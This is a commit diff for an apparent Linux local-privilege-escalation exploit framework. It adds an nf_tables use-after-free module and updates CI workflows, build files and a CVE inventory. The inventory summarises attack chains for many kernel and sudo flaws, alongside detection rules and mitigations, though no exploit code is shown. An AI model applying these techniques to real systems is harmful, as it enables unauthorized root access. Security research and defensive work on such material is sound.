modules: add nft_catchall (CVE-2026-23111, nf_tables catch-all abort UAF)

The newest nftables LPE: a use-after-free in the nf_tables transaction-
abort path. An inverted condition (a stray '!') in
nft_map_catchall_activate() makes the abort path process active catch-all
map elements instead of skipping them; a catch-all GOTO element drives a
chain's use-count to zero so a following DELCHAIN frees it while the
catch-all verdict still references it -> UAF, escalatable from an
unprivileged user (userns + nftables) via modprobe_path/selinux_state ROP.
Fixed upstream by f41c5d1; CWE-416, CVSS 7.8; not in CISA KEV. Public
reproduction by FuzzingLabs.

Takes the corpus to 43 modules / 38 CVEs.

🟡 reconstructed trigger, primitive-only, NOT VM-verified — same contract
as nf_tables (CVE-2024-1086). detect() version-gates (catch-all elems
~5.13; Debian backports 6.1.164/6.12.73/6.18.10, 7.0+ inherits) AND
requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks
an isolated child, builds a verdict map with a catch-all GOTO element,
provokes an aborting batch to drive the abort-path UAF, observes slabinfo,
and returns EXPLOIT_FAIL — the per-kernel leak + R/W + modprobe_path ROP
is not bundled. kernel_range table verified drift-clean against the live
Debian tracker (the 6.18 branch / 6.18.10 fix is the real forky/sid
backport; the earlier 7.0.10 figure was wrong).

Wired: registry, Makefile, safety rank (35), 6 detect() test rows (version
+ userns gating), CVE_METADATA.json + cve_metadata.c + KEV_CROSSREF.md
(sorted insert, CWE-416/T1068/not-KEV), README + CVES.md + website counts
(43/38) + yellow pill, RELEASE_NOTES v0.9.11, verify-vm target. Credit:
FuzzingLabs + upstream fix f41c5d1. Version 0.9.11.

.clang-tidy

@@ -0,0 +1,24 @@
+# clang-tidy configuration for SKELETONKEY core/.
+#
+# Defaults are mostly fine. Two checks intentionally disabled:
+#
+#   clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling
+#     This check flags snprintf, fprintf, memset, strncpy, etc. as
+#     "insecure" and recommends the C11 Annex K _s variants
+#     (snprintf_s, memset_s, ...). Annex K is fundamentally not
+#     portable — glibc, musl, and MSVC all either don't implement
+#     it or implement it incompletely. snprintf is already bounds-
+#     checked; this is noise rather than signal in real C code.
+#     The Linux kernel uses these functions everywhere; so does
+#     every C project. Disabling.
+#
+#   bugprone-easily-swappable-parameters
+#     Flags every function taking 2+ same-typed parameters. False-
+#     positive heavy on small utility functions like
+#     skeletonkey_host_kernel_at_least(host, major, minor, patch)
+#     where the parameter order is documented and obvious. Not
+#     worth the noise.
+
+Checks: >
+  -clang-analyzer-security.insecureAPI.DeprecatedOrUnsafeBufferHandling,
+  -bugprone-easily-swappable-parameters

.github/workflows/build.yml

@@ -5,6 +5,15 @@ on:
     branches: [main]
   pull_request:
     branches: [main]
+  schedule:
+    # Weekly drift check against CISA KEV + Debian security tracker.
+    # Runs Monday 06:00 UTC; reports any new backports / KEV additions
+    # that haven't propagated into the corpus yet.
+    - cron: '0 6 * * 1'
+  workflow_dispatch:
+    # Lets us trigger the drift-check job on demand (e.g. after a
+    # metadata refresh) without waiting for the weekly cron. The
+    # drift-check job's `if:` gate honors this trigger.
 
 jobs:
   build:
@@ -16,7 +25,7 @@ jobs:
         flavor: [default, debug]
     name: build (${{ matrix.cc }} / ${{ matrix.flavor }})
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
 
       - name: install build deps
         run: |
@@ -67,6 +76,91 @@ jobs:
           sudo chown -R skeletonkeyci .
           sudo -u skeletonkeyci make test
 
+  # ASan + UBSan run. clang-only; catches memory bugs and undefined
+  # behaviour the regular test suite can't see. Runs on the same 88
+  # tests as the main matrix; failures here are real bugs even if
+  # the assertions all pass.
+  sanitizers:
+    runs-on: ubuntu-latest
+    name: sanitizers (ASan + UBSan)
+    steps:
+      - uses: actions/checkout@v6
+      - name: install deps
+        run: |
+          sudo apt-get update -qq
+          sudo apt-get install -y --no-install-recommends \
+            build-essential clang make linux-libc-dev \
+            libglib2.0-dev pkg-config sudo
+      - name: build + test under sanitizers
+        env:
+          CC: clang
+          # AddressSanitizer + UndefinedBehaviorSanitizer. -O1 keeps
+          # backtraces meaningful while still exercising optimizer paths;
+          # -fno-omit-frame-pointer for ASan stack traces; halt-on-error
+          # so the first finding fails CI loudly rather than scrolling
+          # past silently.
+          CFLAGS: "-O1 -g -fno-omit-frame-pointer -fsanitize=address,undefined -fno-sanitize-recover=all -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64"
+          LDFLAGS: "-fsanitize=address,undefined"
+        run: |
+          sudo useradd -m -s /bin/bash skeletonkeyci 2>/dev/null || true
+          sudo chown -R skeletonkeyci .
+          sudo -u skeletonkeyci -E make test
+
+  # clang-tidy lint. Runs against core/ + skeletonkey.c (the files we
+  # control most tightly). Non-blocking for now — sets a baseline we
+  # can tighten incrementally. Module sources are excluded; many
+  # bundle published PoC code that we keep close to upstream style.
+  clang-tidy:
+    runs-on: ubuntu-latest
+    name: clang-tidy
+    continue-on-error: true
+    steps:
+      - uses: actions/checkout@v6
+      - name: install deps
+        run: |
+          sudo apt-get update -qq
+          sudo apt-get install -y --no-install-recommends \
+            clang clang-tidy linux-libc-dev libglib2.0-dev pkg-config
+      - name: lint core + dispatcher
+        run: |
+          clang-tidy core/*.c skeletonkey.c \
+            --warnings-as-errors='' \
+            -- -Icore -Imodules/copy_fail_family/src \
+               -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64
+
+  # Drift check — runs the two refresh scripts in --check / drift mode
+  # against authoritative federal sources. Catches:
+  #   - New CISA KEV additions touching CVEs in our corpus
+  #   - New Debian security-tracker backport-version updates that move
+  #     the kernel_patched_from table thresholds
+  # Network-required (fetches kev.csv + Debian tracker JSON). Runs on
+  # the weekly cron + on-demand via workflow_dispatch. NOT gated on
+  # PRs because random PRs shouldn't fail on upstream feed drift.
+  drift-check:
+    if: github.event_name == 'schedule' || github.event_name == 'workflow_dispatch'
+    runs-on: ubuntu-latest
+    name: drift-check (CISA KEV + Debian tracker)
+    steps:
+      - uses: actions/checkout@v6
+      - name: cve_metadata drift
+        run: |
+          # Exits 1 if the federal data has drifted from our committed
+          # JSON. Open a PR with `tools/refresh-cve-metadata.py` output
+          # if this fires.
+          python3 tools/refresh-cve-metadata.py --check || {
+            echo "::warning::cve_metadata drift detected — run tools/refresh-cve-metadata.py and commit the result"
+            exit 1
+          }
+      - name: kernel_range drift
+        run: |
+          # Exits 1 if any module's kernel_patched_from table is
+          # MISSING or TOO_TIGHT versus Debian's tracker. INFO-only
+          # findings are fine.
+          python3 tools/refresh-kernel-ranges.py || {
+            echo "::warning::kernel_range drift detected — see tools/refresh-kernel-ranges.py output"
+            exit 1
+          }
+
   # Static build job: ensures the project links cleanly when -static is
   # requested. Useful for deployment to minimal containers / fleet scans
   # where shared-libc availability isn't guaranteed.
@@ -74,7 +168,7 @@ jobs:
     runs-on: ubuntu-latest
     name: static-build
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
       - name: install build deps
         run: |
           sudo apt-get update -qq

.github/workflows/release.yml

@@ -32,7 +32,7 @@ jobs:
     name: build (${{ matrix.target }})
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
 
       - name: install build deps
         run: |
@@ -52,20 +52,98 @@ jobs:
           mv skeletonkey skeletonkey-${{ matrix.target }}
           sha256sum skeletonkey-${{ matrix.target }} > skeletonkey-${{ matrix.target }}.sha256
 
-      - uses: actions/upload-artifact@v4
+      - uses: actions/upload-artifact@v7
         with:
           name: skeletonkey-${{ matrix.target }}
           path: |
             skeletonkey-${{ matrix.target }}
             skeletonkey-${{ matrix.target }}.sha256
 
+  # Portable static-musl x86_64 build. Runs in Alpine (native musl +
+  # linux-headers) so the resulting binary works on every libc —
+  # glibc 2.x of any version, musl, etc. This is what install.sh
+  # fetches by default for x86_64 hosts (the dynamic binary above
+  # hits a glibc-version ceiling on older distros like Debian 12 /
+  # RHEL 8).
+  build-static-x86_64:
+    runs-on: ubuntu-latest
+    name: build (x86_64-static / musl)
+    container:
+      image: alpine:latest
+    steps:
+      - uses: actions/checkout@v6
+      - name: install build deps
+        run: apk add --no-cache build-base linux-headers tar
+      - name: build static (musl)
+        run: |
+          # MSG_COPY is a Linux-only SysV msg flag that glibc defines
+          # but musl does not — netfilter_xtcompat needs it. Define
+          # the kernel constant explicitly. (Kernel: include/uapi/
+          # linux/msg.h: MSG_COPY = 040000)
+          make CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" LDFLAGS=-static
+          file skeletonkey
+          ls -la skeletonkey
+      - name: rename + checksum
+        run: |
+          mv skeletonkey skeletonkey-x86_64-static
+          sha256sum skeletonkey-x86_64-static > skeletonkey-x86_64-static.sha256
+      - uses: actions/upload-artifact@v7
+        with:
+          name: skeletonkey-x86_64-static
+          path: |
+            skeletonkey-x86_64-static
+            skeletonkey-x86_64-static.sha256
+
+  # Portable static-musl arm64 build. Cross-compile from the x86_64
+  # runner using dockcross/linux-arm64-musl — a Debian-based cross
+  # toolchain image that ships aarch64-linux-musl-gcc with a clean
+  # musl sysroot + Linux uapi headers. Avoids the two prior failure
+  # modes:
+  #   (1) Alpine on arm64: actions/checkout JS bundle requires glibc-
+  #       compatible Node, which GitHub doesn't inject on arm64.
+  #   (2) musl-tools on ubuntu-24.04-arm: musl-gcc + Ubuntu's
+  #       /usr/include collide (glibc stdio.h vs musl stdio.h →
+  #       __gnuc_va_list / __time64_t conflicts).
+  # dockcross runs glibc Debian (so checkout works), invokes a
+  # bundled aarch64-linux-musl-gcc whose sysroot has its own
+  # consistent musl + linux-uapi tree.
+  build-static-arm64:
+    runs-on: ubuntu-latest
+    name: build (arm64-static / musl)
+    steps:
+      - uses: actions/checkout@v6
+      - name: run dockcross arm64-musl build
+        run: |
+          # Fetch the dockcross wrapper script (handles UID/GID,
+          # volume mounts, env passing). Image already has
+          # aarch64-linux-musl-gcc on PATH.
+          docker run --rm dockcross/linux-arm64-musl > ./dockcross
+          chmod +x ./dockcross
+          ./dockcross bash -c '
+            make CC=aarch64-linux-musl-gcc \
+                 CFLAGS="-O2 -Wall -Wextra -Wno-unused-parameter -Wno-pointer-arith -D_GNU_SOURCE -D_FILE_OFFSET_BITS=64 -DMSG_COPY=040000" \
+                 LDFLAGS=-static
+          '
+          file skeletonkey
+          ls -la skeletonkey
+      - name: rename + checksum
+        run: |
+          mv skeletonkey skeletonkey-arm64-static
+          sha256sum skeletonkey-arm64-static > skeletonkey-arm64-static.sha256
+      - uses: actions/upload-artifact@v7
+        with:
+          name: skeletonkey-arm64-static
+          path: |
+            skeletonkey-arm64-static
+            skeletonkey-arm64-static.sha256
+
   release:
-    needs: build
+    needs: [build, build-static-x86_64, build-static-arm64]
     runs-on: ubuntu-latest
     steps:
-      - uses: actions/checkout@v4
+      - uses: actions/checkout@v6
 
-      - uses: actions/download-artifact@v4
+      - uses: actions/download-artifact@v8
         with:
           path: dist
 
@@ -79,34 +157,31 @@ jobs:
         run: |
           tag="${GITHUB_REF#refs/tags/}"
           echo "tag=$tag" >> "$GITHUB_OUTPUT"
-          # Pull the latest entry from CVES.md / ROADMAP.md for the body
-          {
-            echo "## SKELETONKEY $tag"
-            echo
-            echo "Pre-built binaries for x86_64 and arm64. Checksums alongside."
-            echo
-            echo "### Install"
-            echo
-            echo '```bash'
-            echo "curl -sSLfo /tmp/skeletonkey https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/skeletonkey-\$(uname -m | sed s/aarch64/arm64/)"
-            echo "chmod +x /tmp/skeletonkey && sudo mv /tmp/skeletonkey /usr/local/bin/skeletonkey"
-            echo "skeletonkey --version"
-            echo '```'
-            echo
-            echo "Or one-shot via the install script:"
-            echo
-            echo '```bash'
-            echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
-            echo '```'
-            echo
-            echo "### What's in this release"
-            echo
-            echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the curated CVE inventory."
-            echo "See [\`ROADMAP.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/ROADMAP.md) for phase progress."
-          } > release-notes.md
+          # Prefer the hand-written release notes if present (richer
+          # per-release context); otherwise fall back to an auto-generated
+          # stub with install instructions + pointers to docs.
+          if [ -f docs/RELEASE_NOTES.md ]; then
+            cp docs/RELEASE_NOTES.md release-notes.md
+          else
+            {
+              echo "## SKELETONKEY $tag"
+              echo
+              echo "Pre-built binaries for x86_64 (dynamic + static-musl) and arm64."
+              echo "Checksums alongside each artifact."
+              echo
+              echo "### Install"
+              echo '```bash'
+              echo "curl -sSL https://github.com/${GITHUB_REPOSITORY}/releases/download/${tag}/install.sh | sh"
+              echo "skeletonkey --version"
+              echo '```'
+              echo
+              echo "See [\`CVES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/CVES.md) for the CVE inventory."
+              echo "See [\`docs/RELEASE_NOTES.md\`](https://github.com/${GITHUB_REPOSITORY}/blob/${tag}/docs/RELEASE_NOTES.md) for per-release detail."
+            } > release-notes.md
+          fi
 
       - name: publish release
-        uses: softprops/action-gh-release@v2
+        uses: softprops/action-gh-release@v3
         with:
           tag_name: ${{ steps.notes.outputs.tag }}
           name: SKELETONKEY ${{ steps.notes.outputs.tag }}
@@ -114,7 +189,11 @@ jobs:
           files: |
             skeletonkey-x86_64
             skeletonkey-x86_64.sha256
+            skeletonkey-x86_64-static
+            skeletonkey-x86_64-static.sha256
             skeletonkey-arm64
             skeletonkey-arm64.sha256
+            skeletonkey-arm64-static
+            skeletonkey-arm64-static.sha256
             install.sh
           fail_on_unmatched_files: false   # install.sh may not exist at first tag

.gitignore

@@ -8,6 +8,15 @@ modules/*/dirtyfail
 modules/*/skeletonkey
 /skeletonkey
 /skeletonkey-test
+/skeletonkey-test-kr
+/skeletonkey-x86_64
+/skeletonkey-x86_64-static
+/skeletonkey-x86_64.sha256
+/skeletonkey-x86_64-static.sha256
+/skeletonkey-arm64
+/skeletonkey-arm64.sha256
 .vscode/
 .idea/
 *.swp
+/tools/verify-vm/logs/
+/tools/verify-vm/.vagrant/

CVES.md

@@ -23,16 +23,17 @@ Status legend:
 - 🔴 **DEPRECATED** — fully patched everywhere relevant; kept for
   historical reference only
 
-**Counts:** 31 modules total — 28 verified (🟢 14 · 🟡 14) plus 3
-ported-but-unverified (`dirtydecrypt`, `fragnesia`, `pack2theroot` —
-see note below). 🔵 0 · ⚪ 0 planned-with-stub · 🔴 0. (One ⚪ row
-below — CVE-2026-31402 — is a *candidate* with no module, not counted
-as a module.)
+**Counts:** 43 modules total covering 38 CVEs; **28 of 38 CVEs
+verified end-to-end in real VMs** via `tools/verify-vm/`. 🔵 0 · ⚪ 0
+planned-with-stub · 🔴 0. (One ⚪ row below — CVE-2026-31402 — is a
+*candidate* with no module, not counted as a module.)
 
-> **Note on `dirtydecrypt` / `fragnesia` / `pack2theroot`:** all three
-> are ported from public PoCs. The **exploit bodies** are not yet
-> VM-verified end-to-end, so they're listed 🟡 but excluded from the
-> 28-module verified corpus.
+> **Note on unverified rows:** `vmwgfx` / `dirty_cow` /
+> `mutagen_astronomy` / `pintheft` / `vsock_uaf` / `fragnesia` /
+> `ptrace_pidfd` / `sudo_host` / `cifswitch` / `nft_catchall` are blocked by their target environment (VMware-only,
+> kernel < 4.4, mainline panic, kmod not autoloaded, t64-transition
+> libs) or are brand-new this cycle, not by missing code. See
+> [`tools/verify-vm/targets.yaml`](tools/verify-vm/targets.yaml).
 >
 > All three now have **pinned fix commits and version-based
 > `detect()`**:
@@ -74,7 +75,7 @@ root on a host can upstream their kernel's offsets via PR.
 | CVE-2022-2588 | net/sched cls_route4 handle-zero dead UAF | LPE (kernel UAF in cls_route4 filter remove) | mainline 5.20 / 5.19.7 (Aug 2022) | `cls_route4` | 🟡 | Userns+netns reach, tc/ip dummy interface + route4 dangling-filter add/del, msg_msg kmalloc-1k spray, UDP classify drive to follow the dangling pointer, slabinfo delta witness. Stops at empirical UAF-fired signal; no leak→cred overwrite (per-kernel offsets refused). Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7. |
 | CVE-2016-5195 | Dirty COW — COW race via /proc/self/mem + madvise | LPE (page-cache write into root-owned files) | mainline 4.9 (Oct 2016) | `dirty_cow` | 🟢 | Full detect + exploit + cleanup. **Old-systems coverage** — affects RHEL 6/7 (3.10 baseline), Ubuntu 14.04 (3.13), Ubuntu 16.04 (4.4), embedded boxes, IoT. Phil-Oester-style two-thread race: writer thread via `/proc/self/mem` vs madvise(MADV_DONTNEED) thread. Targets /etc/passwd UID flip + `su`. Ships auditd watch on /proc/self/mem + sigma rule for non-root mem-open. Pthread-linked. |
 | CVE-2019-13272 | PTRACE_TRACEME → setuid execve → cred escalation | LPE (kernel ptrace race; no exotic preconditions) | mainline 5.1.17 (Jun 2019) | `ptrace_traceme` | 🟢 | Full detect + exploit. Branch backports: 4.4.182 / 4.9.182 / 4.14.131 / 4.19.58 / 5.0.20 / 5.1.17. jannh-style: fork → child `PTRACE_TRACEME` → child sleep+attach → parent `execve` setuid bin (pkexec/su/passwd auto-selected) → child wins stale-ptrace_link → POKETEXT x86_64 shellcode → root sh. x86_64-only; ARM/other return PRECOND_FAIL cleanly. |
-| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. |
+| CVE-2022-0492 | cgroup v1 `release_agent` privilege check in wrong namespace | LPE (host root from rootless container or unprivileged userns) | mainline 5.17 (Mar 2022) | `cgroup_release_agent` | 🟢 | Universal structural exploit — no per-kernel offsets, no race. unshare(user|mount|cgroup), mount cgroup v1 RDP controller, write release_agent → ./payload, trigger via notify_on_release. Ships auditd rules covering cgroupfs mount + release_agent writes. Kept as a portable "containers misconfigured" demo. **Added to CISA KEV 2026-06-02 — now confirmed exploited in the wild.** |
 | CVE-2023-0386 | overlayfs `copy_up` preserves setuid bit across mount-ns boundary | LPE (host root via setuid carrier from unprivileged mount) | mainline 5.11 / 6.2-rc6 (Jan 2023) | `overlayfs_setuid` | 🟢 | Distro-agnostic — places a setuid binary in an overlay lower, mounts via fuse-overlayfs userns trick, executes from upper to inherit the setuid bit + root euid. Branch backports tracked for 5.10.169 / 5.15.92 / 6.1.11 / 6.2.x. |
 | CVE-2021-22555 | iptables xt_compat heap-OOB → cross-cache UAF | LPE (kernel R/W via 4-byte heap OOB write + msg_msg/sk_buff groom) | mainline 5.12 / 5.11.10 (Apr 2021) | `netfilter_xtcompat` | 🟡 | Hand-rolled `ipt_replace` blob + setsockopt(IPT_SO_SET_REPLACE) fires the 4-byte OOB, msg_msg spray in kmalloc-2k + sk_buff sidecar, MSG_COPY scan for cross-cache landing + slabinfo delta. Stops before the leak → modprobe_path overwrite chain (per-kernel offsets refused). Branch backports: 5.11.10 / 5.10.27 / 5.4.110 / 4.19.185 / 4.14.230 / 4.9.266 / 4.4.266. **Bug existed since 2.6.19 (2006).** Andy Nguyen's PGZ disclosure. |
 | CVE-2017-7308 | AF_PACKET TPACKET_V3 integer overflow → heap write-where | LPE (CAP_NET_RAW via userns) | mainline 4.11 / 4.10.6 (Mar 2017) | `af_packet` | 🟡 | Konovalov's TPACKET_V3 overflow + 200-skb spray + best-effort cred race. Offset table (Ubuntu 16.04/4.4 + 18.04/4.15) + `SKELETONKEY_AFPACKET_OFFSETS` env override for other kernels. x86_64-only; ARM returns PRECOND_FAIL. Branch backports: 4.10.6 / 4.9.18 / 4.4.57 / 3.18.49. |
@@ -92,6 +93,10 @@ root on a host can upstream their kernel's offsets via PR.
 | CVE-2026-31635 | DirtyDecrypt / DirtyCBC — rxgk missing-COW in-place decrypt | LPE (page-cache write into a setuid binary) | mainline Linux 7.0 (commit `a2567217ade970ecc458144b6be469bc015b23e5`) | `dirtydecrypt` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Sibling of Copy Fail / Dirty Frag in the rxgk (AFS rxrpc encryption) subsystem. `fire()` sliding-window page-cache write, ~256 fires/byte; rewrites the first 120 bytes of `/usr/bin/su` with a setuid-shell ELF. detect() is version-pinned: kernels < 7.0 predate the vulnerable rxgk code (Debian: `<not-affected, vulnerable code not present>` for 5.10/6.1/6.12); kernels ≥ 7.0 have the fix. `--active` probe fires the primitive at a `/tmp` sentinel for empirical override. x86_64. |
 | CVE-2026-46300 | Fragnesia — XFRM ESP-in-TCP `skb_try_coalesce` SHARED_FRAG loss | LPE (page-cache write into a setuid binary) | mainline 7.0.9; older Debian-stable branches still unfixed as of 2026-05-22 | `fragnesia` | 🟡 | **Ported from the public V12 PoC, exploit body not yet VM-verified.** Latent bug exposed by the Dirty Frag fix (`f4c50a4034e6`). AF_ALG GCM keystream table + userns/netns + XFRM ESP-in-TCP splice trigger pair; rewrites the first 192 bytes of `/usr/bin/su`. Needs `CONFIG_INET_ESPINTCP` + unprivileged userns (the in-scope question the old `_stubs/fragnesia_TBD` raised — resolved: ships, reports PRECOND_FAIL when the userns gate is closed). detect() is version-pinned at 7.0.9; older branches that haven't backported yet are flagged VULNERABLE on the version check (override empirically via `--active`). PoC's ANSI TUI dropped in the port. x86_64. |
 | CVE-2026-41651 | Pack2TheRoot — PackageKit `InstallFiles` TOCTOU | LPE (userspace D-Bus daemon → `.deb` postinst as root) | PackageKit 1.3.5 (commit `76cfb675`, 2026-04-22) | `pack2theroot` | 🟡 | **Ported from the public Vozec PoC, not yet VM-verified.** Two back-to-back `InstallFiles` D-Bus calls — first `SIMULATE` (polkit bypass + queues a GLib idle), then immediately `NONE` + malicious `.deb` (overwrites the cached flags before the idle fires). GLib priority ordering makes the overwrite deterministic, not a race. Disclosure by **Deutsche Telekom security**. Affects PackageKit 1.0.2 → 1.3.4 — default-enabled on Ubuntu Desktop, Debian, Fedora, Rocky/RHEL via Cockpit. `detect()` reads `VersionMajor/Minor/Micro` over D-Bus → high-confidence verdict (vs. precondition-only for dirtydecrypt/fragnesia). Debian-family only (PoC's built-in `.deb` builder). Needs `libglib2.0-dev` at build time; Makefile autodetects via `pkg-config gio-2.0` and falls through to a stub when absent. |
+| CVE-2026-46333 | ptrace `__ptrace_may_access` dumpable-race → `pidfd_getfd` credential-fd theft | LPE (steal a root-opened fd / authenticated channel from a process dropping privileges) | mainline 2026-05-14 (Debian backports 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7) | `ptrace_pidfd` | 🟡 | **Qualys TRU disclosure (2026-05-20), exploit not yet VM-verified.** The `__ptrace_may_access` logic flaw leaves a process *dropping* privileges briefly reachable past its `dumpable` boundary; `pidfd_getfd(2)` rides that window. detect() is version-pinned with a predates-gate at `pidfd_getfd`'s 5.6 introduction. exploit() spawns a setuid victim (chage / pkexec / ssh-keysign), `pidfd_open()`s it and sweeps `pidfd_getfd()` across its descriptor table during the credential-drop window, reporting any uid-0-owned fd captured from a non-root context — honest `EXPLOIT_FAIL` without a euid-0 witness; the target-specific full root-pop is not bundled until VM-verified. Arch-agnostic (descriptor theft, no shellcode). `--mitigate` sets `kernel.yama.ptrace_scope=2`; `--cleanup` reverts it. Credit: Qualys TRU. |
+| CVE-2025-32462 | sudo `-h`/`--host` policy bypass (Stratascale) | LPE (userspace; abuse a host-restricted sudoers rule for local root) | sudo 1.9.17p1 (2025-06-30) | `sudo_host` | 🟢 | **Stratascale CRU disclosure (Rich Mirch); sibling of `sudo_chwoot`.** sudo's `-h`/`--host` option — meant only to pair with `-l` — was honored when running a command, so a sudoers rule scoped to a host other than the current machine (and not ALL) is usable via `sudo -h <host> <cmd>`. Affects sudo 1.8.8 → 1.9.17p0; fixed 1.9.17p1. CWE-863, CVSS 8.8; not in KEV. detect() version-gates; exploit() finds an abusable host-restricted rule in readable sudoers (or `SKELETONKEY_SUDO_HOST`), witnesses with `sudo -n -h <host> id -u`, and pops a root shell only on a uid-0 witness — never fabricates root. Structural (no offsets/race); arch-agnostic. Most relevant to fleet-wide / LDAP / SSSD sudoers. Credit: Rich Mirch / Stratascale. |
+| CVE-2026-46243 | CIFSwitch — `cifs.spnego` key type trusts userspace-forged authority fields | LPE (coerce root `cifs.upcall` into loading an attacker NSS module) | fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of `3da1fdf4efbc`, mainline 7.1-rc5) | `cifswitch` | 🟡 | **Asim Manizada disclosure (2026-05-28), public PoC; detect() + add_key primitive VM-verified on Ubuntu 24.04 / 6.8.0-117 (QEMU/HVF, 2026-06-08), full chain + patched-kernel discriminator pending.** ~19-year-old logic flaw in `fs/smb/client/cifs_spnego.c`: the `cifs.spnego` key description carries authority-bearing fields (`pid`/`uid`/`creduid`/`upcall_target`) that root `cifs.upcall` trusts as kernel-originating, but userspace can create such keys via `add_key(2)`/`request_key(2)`. With user+mount namespace tricks, an unprivileged user makes `cifs.upcall` load a malicious NSS `.so` as root. CWE-20; not in KEV. Preconditions: `cifs` module + `cifs-utils` (`cifs.upcall`) + `cifs.spnego` request-key rule (override the probe via `SKELETONKEY_CIFS_ASSUME_PRESENT=1/0`). detect() version-gates and PRECOND_FAILs when the cifs userspace path is absent. exploit() fires only the non-destructive primitive — `add_key(2)` of a forged-but-benign `cifs.spnego` key (no upcall, loads nothing), revoked immediately — and returns honest `EXPLOIT_FAIL` without a euid-0 witness; the namespace+NSS root-pop is not bundled until VM-verified. Structural; arch-agnostic. `--mitigate` blocklists the `cifs` module; `--cleanup` reverts. Credit: Asim Manizada. |
+| CVE-2026-23111 | nf_tables `nft_map_catchall_activate` abort-path UAF (inverted `!`) | LPE (unprivileged userns + nftables → chain UAF → kernel R/W → root) | fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of `f41c5d1`); 5.10 branch still unfixed | `nft_catchall` | 🟡 | **Public reproduction + analysis by FuzzingLabs; reported via the kernel security process. Reconstructed trigger, not yet VM-verified.** A stray `!` in `nft_map_catchall_activate()` makes the transaction-abort path process *active* catch-all map elements instead of skipping them; a catch-all GOTO element drives a chain's use-count to zero so a following DELCHAIN frees it while still referenced → UAF, escalatable via modprobe_path/selinux_state ROP. CWE-416, CVSS 7.8; not in KEV. One more UAF in the corpus's most-covered subsystem; shipped on the same contract as `nf_tables` (CVE-2024-1086). detect() version-gates (catch-all elems arrived ~5.13) AND requires unprivileged user_ns clone (else PRECOND_FAIL). exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes slabinfo, and returns `EXPLOIT_FAIL` — the per-kernel leak + R/W + ROP root-pop is NOT bundled and the trigger is reconstructed from public analysis, not VM-verified. x86_64. Mitigate: upgrade, or `kernel.unprivileged_userns_clone=0`. Credit: FuzzingLabs (public repro) + upstream fix `f41c5d1`. |
 
 ## Operations supported per module
 
@@ -130,6 +135,8 @@ Symbols: ✓ = supported, — = not applicable / no automated path.
 | dirtydecrypt | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
 | fragnesia | ✓ (+ `--active`) | ✓ (ported) | — (upgrade kernel) | ✓ (evict page cache) | ✓ (auditd + sigma) |
 | pack2theroot | ✓ (PK version via D-Bus) | ✓ (ported) | — (upgrade PackageKit ≥ 1.3.5) | ✓ (rm /tmp + `dpkg -r`) | ✓ (auditd + sigma) |
+| ptrace_pidfd | ✓ | ✓ (primitive) | ✓ (yama ptrace_scope=2) | ✓ (restore ptrace_scope) | ✓ (auditd + sigma + falco) |
+| sudo_host | ✓ | ✓ | — (upgrade sudo to 1.9.17p1) | — | ✓ (auditd + sigma + falco) |
 
 ## Pipeline for additions
 

Makefile

@@ -20,9 +20,15 @@ BUILD   := build
 BIN     := skeletonkey
 
 # core/
-CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c core/host.c
+CORE_SRCS := core/registry.c core/kernel_range.c core/offsets.c core/finisher.c \
+             core/host.c core/cve_metadata.c core/verifications.c
 CORE_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(CORE_SRCS))
 
+# Register-every-module helper. Lives in its own translation unit so
+# the kernel_range unit-test binary can link just CORE_OBJS without
+# pulling in every module symbol via registry_all.o.
+REGISTRY_ALL_OBJ := $(BUILD)/core/registry_all.o
+
 # Family: copy_fail_family
 # All DIRTYFAIL .c files contribute; skeletonkey_modules.c is the bridge.
 CFF_DIR  := modules/copy_fail_family
@@ -174,6 +180,68 @@ endif
 # paths). Target-specific vars are scoped to this object's recipe.
 $(P2TR_OBJS): CFLAGS += $(P2TR_CFLAGS)
 
+# Family: sudo_chwoot (CVE-2025-32463) — sudo --chroot NSS injection
+SCHW_DIR  := modules/sudo_chwoot_cve_2025_32463
+SCHW_SRCS := $(SCHW_DIR)/skeletonkey_modules.c
+SCHW_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(SCHW_SRCS))
+
+# Family: udisks_libblockdev (CVE-2025-6019) — SUID-on-mount via polkit allow_active
+UDB_DIR  := modules/udisks_libblockdev_cve_2025_6019
+UDB_SRCS := $(UDB_DIR)/skeletonkey_modules.c
+UDB_OBJS := $(patsubst %.c,$(BUILD)/%.o,$(UDB_SRCS))
+
+# Family: pintheft (CVE-2026-43494) — RDS zerocopy double-free (V12 Security)
+PTH_DIR  := modules/pintheft_cve_2026_43494
+PTH_SRCS := $(PTH_DIR)/skeletonkey_modules.c
